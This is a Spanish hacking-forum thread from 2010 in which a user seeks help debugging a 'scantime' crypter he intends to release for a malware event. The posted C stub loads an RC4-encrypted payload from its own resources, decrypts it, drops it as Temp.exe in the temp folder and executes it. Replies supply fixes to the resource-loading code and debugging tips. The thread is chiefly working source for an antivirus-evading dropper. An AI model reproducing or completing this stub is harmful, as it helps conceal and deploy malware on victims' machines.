Problemas con un crypter en VB6/C

Iniciado por illuminat3d, 20 Abril 2010, 13:53 PM

0 Miembros y 1 Visitante están viendo este tema.

illuminat3d

Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")

#include <windows.h>

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);

void main()
{
HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
MessageBoxA(0,"1","",0);

LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
MessageBoxA(0,"2","",0);

HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
LPSTR xPass=&Buff[Size-11];

Buff=RC4(Buff,xPass,Size-11,10);
MessageBoxA(0,"4","",0);
GetTempPath(MAX_PATH,tFile);
lstrcatA(tFile,"\\Temp.exe");

HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile,Buff,Size,0,0);
CloseHandle(hFile);

ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
}

LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
{
int i, j = 0, s[256];
DWORD dw;
BYTE tmp;
LPBYTE Buf = (LPBYTE)szBuf;
LPBYTE Key = (LPBYTE)szKey;
for(i = 0; i < 256; i++)
{
s[i] = i;
}
for(i = 0; i < 256; i++)
{
j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for(dw = 0; dw < dwBufLen; dw++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Buf[dw] ^= s[(s[i] + s[j]) % 256];
}
return (LPSTR)Buf;
}


Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\

E.P.I.

#1
Cita de: shark0 en 20 Abril 2010, 13:53 PM

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


Puede ser porque la estructura de MessageBox() sea:

Código (cpp) [Seleccionar]
int MessageBox(
 __in  HWND hWnd,
 __in  LPCTSTR lpText,
 __in  LPCTSTR lpCaption,
 __in  UINT uType
);


Intenta pasarlo a un int  ;) :xD

Saludos  :)

PD: ¡me hiciste caso con HeapAlloc()  ;D! ¿fue por lo que te dije?
La verdad nos hará libres

illuminat3d

#2
Cita de: E.P.I. en 20 Abril 2010, 18:06 PM
Cita de: shark0 en 20 Abril 2010, 13:53 PM

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


Puede ser porque la estructura de MessageBox() sea:

Código (cpp) [Seleccionar]
int MessageBox(
 __in  HWND hWnd,
 __in  LPCTSTR lpText,
 __in  LPCTSTR lpCaption,
 __in  UINT uType
);


Intenta pasarlo a un int  ;) :xD

Saludos  :)

PD: ¡me hiciste caso con HeapAlloc()  ;D! ¿fue por lo que te dije?

Pero si es texto el LPSTR como lo voy a pasar a integer?.. =S
Si lo del HeapAlloc n ose quien me lo dije y lo empece a usar.. jeje

Me refiero a esto :

LPSTR Variable;

MessageBox(NULL,Variable,NULL,NULL);


Littlehorse

An expert is a man who has made all the mistakes which can be made, in a very narrow field.

illuminat3d

Cita de: Littlehorse en 20 Abril 2010, 19:13 PM
MessageBox(NULL,Variable,NULL,0);

Vale no se me mostraba porque el code no llega mas despues de estas lineas :

HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
LPSTR xPass=&Buff[Size-11];


Algo esta fallando por ahi y no se que puede ser.. =/

Littlehorse

Código (cpp) [Seleccionar]
for(i = 0; i < 256; i++)
{
        j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}


Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post.

Saludos
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

illuminat3d

#6
Cita de: Littlehorse en 21 Abril 2010, 13:45 PM
Código (cpp) [Seleccionar]
for(i = 0; i < 256; i++)
{
       j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}


Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post.

Saludos

Vale lo siento, pero si no hago ese doble post se va hacia abajo y se olvidan del tema.. a ver estuve depurando a mi modo (con messageboxs) y creo que el problema viene que no obtiene los datos del recurso, ¿porque? no lo se..

HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);

   MessageBoxA(0,Buff,"",0);


Me devolvió un MessageBox vacio.. ¿estaré usando mal la API?..

Ayudita?!

PD : Aqui pongo una imagen del resource hacker mostrando el recurso del stub.



(Lo seleccionado es la contraseña del cifrado)

Y ese recurso lo cargo asi :
HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);




[Zero]

#7
Buf, vaya confusión mental  :xD. Lo primero, el fallo no puede estar en la función RC4 porque yo usé esa misma en muchos codes y jamás me dió problemas. Lo del MessageBox es que no sabes aún lo que es un puntero

LPSTR Variable;
MessageBox(NULL,Variable,NULL,NULL);


Si supieras que es un puntero sabrías que le estás pasando a MessageBox un puntero nulo que puede apuntar a cualquier lado, lo que se traduce en un crasheo.


HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
MessageBoxA(0,Buff,"",0);


Otro fallo de no tener claro lo que es un puntero, el resource no contine el caracter nulo que le indica al MessageBox hasta donde tiene que leer.


DWORD dwResSize=SizeofResource(GetModuleHandle(NULL),hRes);
LPSTR lpRes=(LPSTR)GlobalAlloc(GPTR,dwResSize+1);
HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
memcpy(lpRes,Buff,dwResSize)

MessageBox(0,lpRes,0,0);


Lo hice a ojo, pero debería de estar bien.

Saludos

Edito: Además debes usar caracteres printeables, no todos los valores hexadecimales son printeables en un MessageBox. Utiliza letras ASCII y no intentes con otros valores hasta que lo consigas así.


"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

river_0119

para usar LPSTR tienes que usar

MessageBoxA

:-\

para los que se esten iniciando (como yo)

bizco

Verifica el resultado de las funciones, y usa printf para ver si el resultado es correcto. si no sabes depurar aun, usa en tu codigo INT 3 para que el depurador para solo justo en la zona de codigo que quieres verificar.